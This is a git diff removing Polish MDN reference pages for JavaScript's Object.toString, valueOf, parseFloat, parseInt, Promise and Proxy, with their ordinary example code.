Na przykład:

- -
var o = new Object()
-o.toString() // zwraca "[object Object]"
-
- -

Przykłady

- -

Przesłanianie domyślnej metody toString()

- -

Można utworzyć funkcję, która będzie wywoływana zamiast domyślnej metody toString(). Metoda toString() nie pobiera żadnych argumentów i powinna zwrócić łańcuch znaków. Utworzona przez użytkownika metoda toString() może zwracać dowolną wartość, ale najlepiej, by przekazywała użyteczne informacje na temat obiektu.

- -

Poniższy kod definiuje typ obiektowy Pies i tworzy obiekt jakisPies typu Pies:

- -
function Pies(nazwa,rasa,wiek,plec) {
-   this.nazwa=nazwa;
-   this.rasa=rasa;
-   this.wiek=wiek;
-   this.plec=plec;
-}
-
-jakisPies = new Pies("Szarik","owczarek niemiecki","5","samiec");
- -

Jeśli wywołana zostanie metoda toString tego obiektu, zwrócona zostanie domyślna wartość odziedziczona po Object:

- -
jakisPies.toString(); // zwraca [object Object]
-
- -

Poniższy kod tworzy funkcję piesToString, która to funkcja będzie przesłaniać domyślną metodę toString. Funkcja ta tworzy łańcuch znaków zawierający każdą własność; budowany łańcuch będzie postaci "własność = wartość;".

- -
function piesToString() {
-   var ret = "Pies " + this.nazwa + " to: [\n";
-   for (var prop in this)
-      ret += " " + prop + " = " + this[prop] + ";\n";
-   return ret + "]";
-}
-
- -

Poniższy kod przypisuje zdefiniowaną powyżej funkcję do metody toString obiektów typu obiektowego Pies:

- -
Pies.prototype.toString = piesToString;
-
- -

Dzięki powyższemu kodowi za każdym razem, kiedy jakisPies używany jest w kontekście łańcucha znaków, interpreter JavaScriptu automatycznie wywołuje funkcję piesToString, która zwraca poniższy łańcuch:

- -
Pies Szarik to: [
-  nazwa = Szarik;
-  rasa = owczarek niemiecki;
-  wiek = 5;
-  plec = samiec;
-]
-
- -

Metoda toString danego obiektu jest zazwyczaj wywoływana przez interpreter JavaScriptu, ale można ją wywołać samodzielnie, jak poniżej:

- -
var piesString = jakisPies.toString();
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/object/valueof/index.html b/files/pl/web/javascript/referencje/obiekty/object/valueof/index.html deleted file mode 100644 index db3cf7a346..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/object/valueof/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Object.prototype.valueOf() -slug: Web/JavaScript/Referencje/Obiekty/Object/valueOf -tags: - - JavaScript - - Method - - Object - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Object/valueOf ---- -

{{jsRef}}

- -

Podsumowanie

- -

Zwraca wartość podstawową danego obiektu.

- -

Składnia

- -
object.valueOf()
- -

Parametry

- -

Brak.

- -

Opis

- -

JavaScript wywołuje metodę valueOf() by przekonwertować obiekt do wartości podstawowej. Metodę valueOf rzadko wykorzystuje się w pisanych programach, zazwyczaj JavaScript wywołuje ją automatycznie, kiedy oczekując wartości podstawowej napotka obiekt.

- -

Domyślnie metoda valueOf() jest dziedziczona przez każdy obiekt potomny obiektu {{jsxref("Object")}}. Każdy wbudowany obiekt jądra JavaScriptu przesłania tę metodą by zwracała właściwą wartość. Jeśli obiekt nie ma wartości podstawowej, valueOf() zwraca sam obiekt, który jest wyświetlany jako:

- -
[object Object]
-
- -

We własnych programach można oczywiście używać metody valueOf do konwersji obiektów na wartości podstawowe. Kiedy użytkownik tworzy własne obiekty, może przesłonić metodę valueOf() własną wersją.

- -

Przesłanianie metody valueOf dla własnych obiektów

- -

Można utworzyć funkcję, która będzie wywoływana zamiast domyślnej metody valueOf. Taka funkcja nie powinna mieć argumentów.

- -

Załóżmy, że mamy typ obiektowy MojTypLiczbowy i chcemy utworzyć dla niego metodę valueOf. Poniższy kod przypisuje zdefiniowaną przez użytkownika funkcję do metody valueOf obiektu:

- -
MojTypLiczbowy.prototype.valueOf = new Function(tekstFunkcji);
-
- -

Dzięki powyższej instrukcji za każdym razem, kiedy obiekt typu MojTypLiczbowy jest używany w kontekście wartości prostej, JavaScript automatycznie wywoła funkcję zdefiniowaną powyżej.

- -

Metoda valueOf obiektu jest zwykle wywoływana przez interpreter JavaScriptu, ale można ją wywołać samodzielnie:

- -
mojaLiczba.valueOf();
-
- -

Uwaga

- -

Obiekty używane w kontekście łańcucha znaków konwertowane są przy użyciu metody toString, co różni się od konwertowania obiektów String do prostych łańcuchów znaków poprzez valueOf. Wszystkie obiekty posiadają konwersję do łańcucha znaków, choćby [object - typ - ]. Ale wiele obiektów nie posiada domyślnej konwersji do liczby, wartości logicznej lub funkcji.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/parsefloat/index.html b/files/pl/web/javascript/referencje/obiekty/parsefloat/index.html deleted file mode 100644 index 9afb58d074..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/parsefloat/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: parseFloat() -slug: Web/JavaScript/Referencje/Obiekty/parseFloat -tags: - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/parseFloat ---- -
-
-
{{jsSidebar("Objects")}}
-
-
- -

Podsumowanie

- -

Przetwarza argument w postaci łańcucha znaków zwracając liczbę zmiennoprzecinkową.

- -

Składnia

- -
parseFloat(string)
- -

Parametry

- -
-
string 
-
Łańcuch znaków do przetworzenia.
-
- -

Opis

- -

parseFloat() jest funkcją najwyższego poziomu, niepowiązaną z żadnym obiektem.

- -

parseFloat() przetwarza argument będący łańcuchem znaków i zwraca liczbę zmiennoprzecinkową. Jeśli natknie się na znak inny niż +, -, liczbę (0-9), kropkę dziesiętną (".") lub wykładnik potęgi, zwraca wartość do tego miejsca i ignoruje dany znak oraz wszystkie dalsze znaki. Dozwolone są spacje na początku i na końcu łańcucha znaków.

- -

Jeśli pierwszy znak nie może być przekonwertowany do liczby, parseFloat() zwraca NaN.

- -

W zastosowaniach arytmetycznych, wartość NaN nie jest liczbą w żadnej podstawie wyliczeń (ang. - - radix - ). Aby stwierdzić, czy wynik parseFloat będzie NaN, można wywołać funkcję {{jsxref("isNan", "isNaN()")}}. Jeśli wartość NaN użyta zostanie w operacji arytmetycznej, wynikiem operacji także będzie NaN.

- -

Uwaga: Funkcja parseFloat wymaga, aby punktem dziesiętnym była kropka, a nie przecinek. Zastosowanie przecinka spowoduje pominięcie części ułamkowej.

- -

Przykłady

- -

Przykład: parseFloat() zwraca liczbę

- -

Wszystkie poniższe przykłady zwracają 3.14.

- -
parseFloat("3.14");
-parseFloat("314e-2");
-parseFloat("0.0314E+2");
-parseFloat("3.14 więcej znaków nienumerycznych");
- -

Przykład: parseFloat() zwraca NaN

- -

Poniższy przykład zwraca NaN:

- -
parseFloat("FF2");
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/parseint/index.html b/files/pl/web/javascript/referencje/obiekty/parseint/index.html deleted file mode 100644 index fb05b9fc8e..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/parseint/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: parseInt() -slug: Web/JavaScript/Referencje/Obiekty/parseInt -tags: - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/parseInt ---- -
-
-
{{jsSidebar("Objects")}}
-
-
- -

Podsumowanie

- -

Przetwarza argument w postaci łańcucha znaków i zwraca liczbę całkowitą typu - integer - , o zadanej podstawie.

- -

Składnia

- -
parseInt(string, radix);
- -

Parametry

- -
-
string 
-
Łańcuch znaków zawierający wartość do przetworzenia.
-
- -
-
radix 
-
Liczba typu - integer - określająca podstawę powyższego łańcucha (np. 2 - system dwójkowy, 10 - system dziesiętny, przyp. tłum.)
-
- -

Opis

- -

parseInt jest funkcją najwyższego poziomu i nie jest związana z żadnym obiektem.

- -

Funkcja parseInt parsuje jej pierwszy argument, łańcuch znaków, i próbuje zwrócić liczbę całkowitą typu - - integer - o podanej podstawie. Na przykład, podstawa 10 oznacza że liczba w łańcuchu jest liczbą dziesiętną, podstawa 8 - ósemkową, 16 - szesnastkową (heksadecymalną), itd. Dla podstaw większych niż 10, litery alfabetu oznaczają cyfry większe niż 9. Dla przykładu, dla liczb szesnastkowych (o podstawie 16), używane są litery od A do F.

- -

Jeśli parseInt natknie się na znak nie będący cyfrą o danej podstawie, ignoruje ona ten znak i wszystkie następne znaki, a następnie zwraca wartość przetworzoną do tej pory. parseInt przycina liczby do wartości całkowitych. Początkowe i grupujące spacje są dozwolone.

- -

Jeśli podstawa nie jest podana lub jest podana jako 0, JavaScript przyjmuje:

- - - -

Jeśli pierwszy znak nie może być skonwertowany na liczbę, parseInt zwraca NaN.

- -

Dla potrzeb arytmetycznych, wartość NaN nie jest liczbą o żadnej podstawie. Możesz wywołać funkcję {{jsxref("isNaN", "isNaN()")}}, by stwierdzić czy wynik parseInt będzie NaN. Jeśli NaN jest podane do jakichkolwiek operacji arytmetycznych, wynikiem tych operacji również będzie NaN.

- -

Przykłady

- -

Przykład: Zastosowanie parseInt()

- -

Wszystkie poniższe przykłady zwracają 15:

- -
parseInt(" 0xF, 16);
-parseInt(" F", 16);
-parseInt("17", 8);
-parseInt(021, 8);
-parseInt(15.99, 10);
-parseInt("FXX123", 16);
-parseInt("1111", 2);
-parseInt("15*3", 10);
-parseInt("15e2", 10);
-parseInt("15px", 10);
-parseInt("12", 13);
- -

Wszystkie poniższe przykłady zwracają NaN:

- -
parseInt("Hello", 8); // nie jest wcale liczbą
-parseInt("546", 2); // te cyfry nie są używane do zapisu liczb binarnych
- -

Wszystkie poniższe przykłady zwracają -15:

- -
parseInt("-F", 16);
-parseInt("-0F", 16);
-parseInt("-0XF", 16);
-parseInt("-15.1, 10);
-parseInt(" -17", 8);
-parseInt(" -15", 10);
-parseInt("-1111", 2);
-parseInt("-15e1", 10);
-parseInt("-12", 13);
-
- -

Wszystkie poniższe przykłady zwracają 224:

- -
parseInt("0e0", 16);
- -

 

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/promise/index.html b/files/pl/web/javascript/referencje/obiekty/promise/index.html deleted file mode 100644 index 3da2498ca1..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/promise/index.html +++ /dev/null @@ -1,256 +0,0 @@ ---- -title: Promise -slug: Web/JavaScript/Referencje/Obiekty/Promise -tags: - - JavaScript - - Obietnice -translation_of: Web/JavaScript/Reference/Global_Objects/Promise ---- -
{{JSRef}}
- -

Obiekt Promise reprezentuje ewentualne zakończenie (lub porażkę) asynchronicznej operacji i jej wartości.

- -
-

Artykuł opisuje konstruktor, metody i właściwości obiektu Promise. By nauczyć się jak działają obietnice i jak można ich używać zalecamy przeczytać najpierw Użycie obietnic . Ten konstruktor jest głównie używany do opakowania funkcji, które nie wspierają jeszcze obietnic.

-
- -
{{EmbedInteractiveExample("pages/js/promise-constructor.html")}}
- - - - - -

Składnia

- -
new Promise( /* wykonawca */ function(resolve, reject) { ... } );
- -

Parametry

- -
-
wykonawca (executor)
-
Funkcja przekazywana z argumentami resolve i reject. Funkcja ta wykonywana jest natychmiast przez implementację obietnicy, przekazując funkcje resolve i reject (ta funkcja jest wywoływana, zanim konstruktor Promise zwróci utworzony obiekt). Funkcje resolve i reject , gdy są wywoływane, odpowiednio rozwiązują lub odrzucają obietnicę. Ta funkcja zwykle inicjuje pracę asynchroniczną, a następnie, po jej zakończeniu, wywołuje funkcję resolve w celu rozwiązania obietnicy lub odrzuca ją, jeśli wystąpił błąd. Jeśli błąd zostanie zgłoszony w tej funkcji, obietnica zostaje odrzucona. Wartość zwracana tej funkcji jest ignorowana.
-
- -

Opis

- -

Promise jest proxy dla wartości niekoniecznie znanej, gdy jest tworzona. Pozwala na kojarzenie uchwytu z ewentualnym sukcesem lub porażką asynchroniczne akcji. Pozwala to metodom asynchronicznym zwracać wartości takie jak metody synchroniczne, zamiast natychmiastowego zwracania wartości końcowej, metoda asynchroniczna zwraca obietnicę dostarczenia wartości w pewnym momencie w przyszłości.

- -

Promise jest dostępny w jednym z tych stanów:

- - - -

Obowiązująca objetnica może być zakończona z wartością lub odrzucona z powodem(błędem). Kiedy dzieje się jedna z tych opcji, wywoływane są zakolejkowane, powiązane za pomocą metody then procedury. (Jeśli obietnica została już spełniona lub odrzucona, gdy dołączony jest odpowiedni moduł obsługi, zostanie on wywołany, więc nie ma potrzeby wyścigu między zakończeniem operacji asynchronicznej a jej obsługą).

- -

Tak jak w {{jsxref("Promise.then", "Promise.prototype.then()")}} oraz {{jsxref("Promise.catch", "Promise.prototype.catch()")}} gdy metoda zwróci obietnice, mogą one być łączone w łańcuchy.

- -

- -
-

Nie mylić z: Kilka innych języków ma mechanizmy leniwego oceniania i odraczania obliczeń, które nazywają również "obietnicami", np. Scheme. Obietnice w JavaScript oznaczają procesy, które już się odbywają, które mogą być powiązane z funkcjami wywołania zwrotnego. Jeśli chcesz leniwie oceniać wyrażenie, rozważ  funkcje strzałkowe bez argumentów: f = () => wyrażenie by stworzyć leniwo oszacowane wyrażenie, i f() by ocenić.

-
- -
-

Mówi się, że obietnica zostanie uregulowana, jeśli zostanie spełniona lub odrzucona, ale nie oczekuje na rozpatrzenie. Usłyszysz także termin rozwiązany używany z obietnicami - oznacza to, że obietnica jest ustalona lub "zamknięta", aby dopasować się do stanu innej obietnicy. Stany i losy zawierają więcej szczegółów na temat obiecanej terminologii.

-
- -

Właściwości

- -
-
Promise.length
-
Właściwość Length, której wartość wynosi zawsze 1 (liczba argumentów konstruktora).
-
{{jsxref("Promise.prototype")}}
-
Reprezentuje prototyp konstruktora Promise.
-
- -

Metody

- -
-
{{jsxref("Promise.all", "Promise.all(iterable)")}}
-
Zwraca obietnice, która albo kończy się sukcesem gdy wszystkie z obietnic w iterable się zakończą powodzeniem lub kończy sie porażką tak szybko jak jedna z obietnic skończy się porażką. Jeżeli zwrócona obietnica kończy się sukcesem jest ona wypełniana tablicą wartości z obietnic zakończonych sukcesem w takim samym układzie jak były one zdefiniowane w iterable. Jeżeli zwrócona obietnica zakończyła się porażką, jest ona odrzucana z Powodem z pierwszej obietnicy w iterable, która zakończyła się porażką. Ta metoda może być pomocna do zachowywania rezultatów różnych obietnic.
-
{{jsxref("Promise.race", "Promise.race(iterable)")}}
-
Returns a promise that fulfills or rejects as soon as one of the promises in the iterable fulfills or rejects, with the value or reason from that promise.
-
- -
-
{{jsxref("Promise.reject", "Promise.reject(reason)")}}
-
Returns a Promise object that is rejected with the given reason.
-
- -
-
{{jsxref("Promise.resolve", "Promise.resolve(value)")}}
-
Returns a Promise object that is resolved with the given value. If the value is a thenable (i.e. has a then method), the returned promise will "follow" that thenable, adopting its eventual state; otherwise the returned promise will be fulfilled with the value. Generally, if you don't know if a value is a promise or not, {{jsxref("Promise.resolve", "Promise.resolve(value)")}} it instead and work with the return value as a promise.
-
- -

Promise prototype

- -

Właściwości

- -

{{page('en-US/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Properties')}}

- -

Metody

- -

{{page('en-US/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Methods')}}

- -

Tworzenie Promise

- -

A Promise object is created using the new keyword and its constructor. This constructor takes as its argument a function, called the "executor function". This function should take two functions as parameters. The first of these functions (resolve) is called when the asynchronous task completes successfully and returns the results of the task as a value. The second (reject) is called when the task fails, and returns the reason for failure, which is typically an error object.

- -
const myFirstPromise = new Promise((resolve, reject) => {
-  // do something asynchronous which eventually calls either:
-  //
-  //   resolve(someValue); // fulfilled
-  // or
-  //   reject("failure reason"); // rejected
-});
-
- -

To provide a function with promise functionality, simply have it return a promise:

- -
function myAsyncFunction(url) {
-  return new Promise((resolve, reject) => {
-    const xhr = new XMLHttpRequest();
-    xhr.open("GET", url);
-    xhr.onload = () => resolve(xhr.responseText);
-    xhr.onerror = () => reject(xhr.statusText);
-    xhr.send();
-  });
-}
- -

Przykłady

- -

Podstawowy przykład

- -
let myFirstPromise = new Promise((resolve, reject) => {
-  // We call resolve(...) when what we were doing asynchronously was successful, and reject(...) when it failed.
-  // In this example, we use setTimeout(...) to simulate async code.
-  // In reality, you will probably be using something like XHR or an HTML5 API.
-  setTimeout(function(){
-    resolve("Success!"); // Yay! Everything went well!
-  }, 250);
-});
-
-myFirstPromise.then((successMessage) => {
-  // successMessage is whatever we passed in the resolve(...) function above.
-  // It doesn't have to be a string, but if it is only a succeed message, it probably will be.
-  console.log("Yay! " + successMessage);
-});
-
- -

Zaawansowany Przykład

- - - -

This small example shows the mechanism of a Promise. The testPromise() method is called each time the {{HTMLElement("button")}} is clicked. It creates a promise that will be fulfilled, using {{domxref("window.setTimeout()")}}, to the promise count (number starting from 1) every 1-3 seconds, at random. The Promise() constructor is used to create the promise.

- -

The fulfillment of the promise is simply logged, via a fulfill callback set using {{jsxref("Promise.prototype.then()","p1.then()")}}. A few logs show how the synchronous part of the method is decoupled from the asynchronous completion of the promise.

- -
'use strict';
-var promiseCount = 0;
-
-function testPromise() {
-    let thisPromiseCount = ++promiseCount;
-
-    let log = document.getElementById('log');
-    log.insertAdjacentHTML('beforeend', thisPromiseCount +
-        ') Started (<small>Sync code started</small>)<br/>');
-
-    // We make a new promise: we promise a numeric count of this promise, starting from 1 (after waiting 3s)
-    let p1 = new Promise(
-        // The resolver function is called with the ability to resolve or
-        // reject the promise
-       (resolve, reject) => {
-            log.insertAdjacentHTML('beforeend', thisPromiseCount +
-                ') Promise started (<small>Async code started</small>)<br/>');
-            // This is only an example to create asynchronism
-            window.setTimeout(
-                function() {
-                    // We fulfill the promise !
-                    resolve(thisPromiseCount);
-                }, Math.random() * 2000 + 1000);
-        }
-    );
-
-    // We define what to do when the promise is resolved with the then() call,
-    // and what to do when the promise is rejected with the catch() call
-    p1.then(
-        // Log the fulfillment value
-        function(val) {
-            log.insertAdjacentHTML('beforeend', val +
-                ') Promise fulfilled (<small>Async code terminated</small>)<br/>');
-        })
-    .catch(
-        // Log the rejection reason
-       (reason) => {
-            console.log('Handle rejected promise ('+reason+') here.');
-        });
-
-    log.insertAdjacentHTML('beforeend', thisPromiseCount +
-        ') Promise made (<small>Sync code terminated</small>)<br/>');
-}
- - - -

This example is started by clicking the button. You need a browser that supports Promise. By clicking the button several times in a short amount of time, you'll even see the different promises being fulfilled one after another.

- -

{{EmbedLiveSample("Advanced_Example", "500", "200")}}

- -

Ładowanie obrazka z XHR

- -

Another simple example using Promise and XMLHttpRequest to load an image is available at the MDN GitHub js-examples repository. You can also see it in action. Each step is commented and allows you to follow the Promise and XHR architecture closely.

- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-promise-objects', 'Promise')}}{{Spec2('ES2015')}}Initial definition in an ECMA standard.
{{SpecName('ESDraft', '#sec-promise-objects', 'Promise')}}{{Spec2('ESDraft')}}
- -

Zgodność z przeglądarkami

- - - -

{{Compat("javascript.builtins.Promise")}}

- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/proxy/handler/apply/index.html b/files/pl/web/javascript/referencje/obiekty/proxy/handler/apply/index.html deleted file mode 100644 index 4931dd2beb..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/proxy/handler/apply/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: handler.apply() -slug: Web/JavaScript/Referencje/Obiekty/Proxy/handler/apply -tags: - - ECMAScript 2015 - - JavaScript - - Metodă - - Proxy -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply ---- -
{{JSRef}}
- -

Metoda handler.apply() jest pułapką na wywołanie funkcji.

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-apply.html", "taller")}}
- - - -

Składnia

- -
var p = new Proxy(target, {
-  apply: function(target, thisArg, argumentsList) {
-  }
-});
-
- -

Parametry

- -

Następujące parametry są przekazywane do metody apply. Wartością this jest handler.

- -
-
target
-
Obiekt, na którym została wywołana metoda.
-
thisArg
-
Obiekt, który jest this w metodzie.
-
argumentsList
-
Lista argumentów, które zostały przekazane do metody.
-
- -

Zwracana wartość

- -

Metoda apply może zwrócić dowolną wartość.

- -

Opis

- -

Metoda handler.apply jest pułapką na wywołanie funkcji.

- -

Przechwycenia

- -

Ta pułapka może przechwycić poniższe operacje:

- - - -

Niezmienniki

- -

Jeśli poniższe zmiemienniki są naruszone, poxy rzuci wyjątek TypeError:

- -

target musi być obiektem, który da się wywołać. To znaczy, że musi być obiektem funkcyjnym.

- -

Przykłady

- -

Poniższy kod przechwytuje wywołanie funkcji.

- -
var p = new Proxy(function() {}, {
-  apply: function(target, thisArg, argumentsList) {
-    console.log('called: ' + argumentsList.join(', '));
-    return argumentsList[0] + argumentsList[1] + argumentsList[2];
-  }
-});
-
-console.log(p(1, 2, 3)); // "called: 1, 2, 3"
-                         // 6
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}{{Spec2('ES2015')}}Początkowa definicja.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność przeglądarek

- -
- - -

{{Compat("javascript.builtins.Proxy.handler.apply")}}

-
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/proxy/handler/index.html b/files/pl/web/javascript/referencje/obiekty/proxy/handler/index.html deleted file mode 100644 index 7461add3d6..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/proxy/handler/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Proxy handler -slug: Web/JavaScript/Referencje/Obiekty/Proxy/handler -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy -translation_of_original: Web/JavaScript/Reference/Global_Objects/Proxy/handler ---- -
{{JSRef}}
- -

Obiekt obsługujący proxy (proxy's handler object) jest obiektem zastępczym który zawiera pułapki dla obiektów {{jsxref("Proxy", "proxy", "", 1)}}.

- -

Metody

- -

Wszystkie pułapki są opcjonalne. Jeśli pułapka nie została zdefiniowana, domyślnym zachowaniem jest przekazanie operacji do obiektu docelowego.

- -
-
{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}
-
Pułapka na {{jsxref("Object.getPrototypeOf")}}.
-
{{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}
-
Pułapka na {{jsxref("Object.setPrototypeOf")}}.
-
{{jsxref("Global_Objects/Proxy/handler/isExtensible", "handler.isExtensible()")}}
-
Pułapka na {{jsxref("Object.isExtensible")}}.
-
{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}
-
Pułapka na {{jsxref("Object.preventExtensions")}}.
-
{{jsxref("Global_Objects/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}
-
Pułapka na {{jsxref("Object.getOwnPropertyDescriptor")}}.
-
{{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty()")}}
-
Pułapka na {{jsxref("Object.defineProperty")}}.
-
{{jsxref("Global_Objects/Proxy/handler/has", "handler.has()")}}
-
Pułapka na operator {{jsxref("Operators/in", "in")}}.
-
{{jsxref("Global_Objects/Proxy/handler/get", "handler.get()")}}
-
Pułapka na pobieranie wartości atrybutu.
-
{{jsxref("Global_Objects/Proxy/handler/set", "handler.set()")}}
-
Pułapka na ustawianie wartości atrybutu.
-
{{jsxref("Global_Objects/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}
-
Pułapka na operator {{jsxref("Operators/delete", "delete")}}.
-
{{jsxref("Global_Objects/Proxy/handler/ownKeys", "handler.ownKeys()")}}
-
Pułapka na {{jsxref("Object.getOwnPropertyNames")}} i {{jsxref("Object.getOwnPropertySymbols")}}.
-
{{jsxref("Global_Objects/Proxy/handler/apply", "handler.apply()")}}
-
Pułapka na wywołanie funkcji.
-
{{jsxref("Global_Objects/Proxy/handler/construct", "handler.construct()")}}
-
Pułapka na operator {{jsxref("Operators/new", "new")}}.
-
- -

Niektóre niestandardowe pułapki są przestarzałe i zostały usunięte.

- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}{{Spec2('ES2015')}}Początkowa definicja.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}{{Spec2('ESDraft')}}Usunięto funkcję obsługującą enumerate.
- -

Kompatybilność przeglądarek

- - - -

{{Compat("javascript.builtins.Proxy.handler")}}

- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/proxy/index.html b/files/pl/web/javascript/referencje/obiekty/proxy/index.html deleted file mode 100644 index 7dc7695f00..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/proxy/index.html +++ /dev/null @@ -1,401 +0,0 @@ ---- -title: Proxy -slug: Web/JavaScript/Referencje/Obiekty/Proxy -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy ---- -
-
{{JSRef}}
-
- -

Obiekt Proxy jest używany w celu definiowania specyficznego zachowania dla podstawowych operacji (n.p. wyszukiwanie atrybutu, przypisanie, wyliczanie, wywołanie funkcji, etc).

- -

Terminologia

- -
-
handler
-
Zastępczy obiekt zawierający pułapki (traps).
-
traps
-
Metody zapewniające dostęp do atrybutów. Pojęcie to jest analogiczne do pułapek w systemie operacyjnym.
-
target
-
Obiekt wirtualizowany przez proxy. Często jest używany aby magazyować dane obiektu proxy. Niezmienniki (wartości które pozostają niezmienione) dotyczące nierozszerzalności obiektu lub niekonfigurowalnnych atrybutów są weryfikowane w oparciu o target.
-
- -

Składnia

- -
var p = new Proxy(target, handler);
-
- -

Parametry

- -
-
target
-
Docelowy obiekt (może być obiektem dowolnego typu, włącznie z wbudowanymi tablicami, funkcjami, a nawet innyi obiektami proxy) przeznaczony do opakowania przez Proxy.
-
handler
-
Obiekt obsługujący którego atrybuty są funkcjami definiującymi zachowanie proxy podczas wykonania na nim operacji.
-
- -

Metody

- -
-
{{jsxref("Proxy.revocable()")}}
-
Tworzy odwracalny obiekt Proxy.
-
- -

Metody obiektu obsługującego

- -

Obiekt obsługujący jest obiektem zastępczym zawierającym pułapki dla obieku Proxy.

- -
{{page('/pl/docs/Web/JavaScript/Referencje/Obiekty/Proxy/handler', 'Metody') }}
- -

Przykłady

- -

Podstawowy przykład

- -

W tym prostym przykładzie liczba 37 jest zwracana jako domyślna wartość kiedy nazwa atrybutu nie istnieje w obiekcie. W tym celu użyty jest handler get.

- -
var handler = {
-    get: function(target, name) {
-        return name in target ?
-            target[name] :
-            37;
-    }
-};
-
-var p = new Proxy({}, handler);
-p.a = 1;
-p.b = undefined;
-
-console.log(p.a, p.b); // 1, undefined
-console.log('c' in p, p.c); // false, 37
-
- -

Puste proxy przekazujące

- -

W tym przykładzie używamy wbudowanego obiektu JavaScript do którego proxy przekaże wszystkie zaaplikowane na nim operacje.

- -
var target = {};
-var p = new Proxy(target, {});
-
-p.a = 37; // operacja przekazana do obiektu target
-
-console.log(target.a); // 37. Operacja została prawidłowo przekazana
-
- -

Zwróć uwagę, że ten przykład działa dla obiektów JavaScript jednak nie sprawdzi się w przypadku obiektów przeglądarki takich jak elementy DOM. Sprawdź jedno rozwiązanie.

- -

Walidacja

- -

Używając Proxy, łatwo możesz zwalidować wartości przekazywane do obiektu. Poniższy przykład używa metody obsługującej set.

- -
let validator = {
-  set: function(obj, prop, value) {
-    if (prop === 'age') {
-      if (!Number.isInteger(value)) {
-        throw new TypeError('The age is not an integer');
-      }
-      if (value > 200) {
-        throw new RangeError('The age seems invalid');
-      }
-    }
-
-    // domyślnym zachowaniem jest zapisanie wartości
-    obj[prop] = value;
-
-    // oznacza pomyślne wykonanie
-    return true;
-  }
-};
-
-let person = new Proxy({}, validator);
-
-person.age = 100;
-console.log(person.age); // 100
-person.age = 'young'; // rzuca wyjątek
-person.age = 300; // rzuca wyjątek
- -

Rozszerzanie konstruktora

- -

Funkcja proxy może w łatwy sposób rozszerzyć konstruktor innym konstruktorem. W tym przykładzie użyto funkcje obsługujące construct oraz apply.

- -
function extend(sup, base) {
-  var descriptor = Object.getOwnPropertyDescriptor(
-    base.prototype, 'constructor'
-  );
-  base.prototype = Object.create(sup.prototype);
-  var handler = {
-    construct: function(target, args) {
-      var obj = Object.create(base.prototype);
-      this.apply(target, obj, args);
-      return obj;
-    },
-    apply: function(target, that, args) {
-      sup.apply(that, args);
-      base.apply(that, args);
-    }
-  };
-  var proxy = new Proxy(base, handler);
-  descriptor.value = proxy;
-  Object.defineProperty(base.prototype, 'constructor', descriptor);
-  return proxy;
-}
-
-var Person = function(name) {
-  this.name = name;
-};
-
-var Boy = extend(Person, function(name, age) {
-  this.age = age;
-});
-
-Boy.prototype.sex = 'M';
-
-var Peter = new Boy('Peter', 13);
-console.log(Peter.sex);  // "M"
-console.log(Peter.name); // "Peter"
-console.log(Peter.age);  // 13
- -

Manipulacja węzłami DOM

- -

Czasami konieczne jest przełączenie atrybutu lub nazwy klasy dwóch innych elementów. Poniższy przykład pokazuje wykonanie funkcją obsługującą set.

- -
let view = new Proxy({
-  selected: null
-},
-{
-  set: function(obj, prop, newval) {
-    let oldval = obj[prop];
-
-    if (prop === 'selected') {
-      if (oldval) {
-        oldval.setAttribute('aria-selected', 'false');
-      }
-      if (newval) {
-        newval.setAttribute('aria-selected', 'true');
-      }
-    }
-
-    // The default behavior to store the value
-    obj[prop] = newval;
-
-    // Indicate success
-    return true;
-  }
-});
-
-let i1 = view.selected = document.getElementById('item-1');
-console.log(i1.getAttribute('aria-selected')); // 'true'
-
-let i2 = view.selected = document.getElementById('item-2');
-console.log(i1.getAttribute('aria-selected')); // 'false'
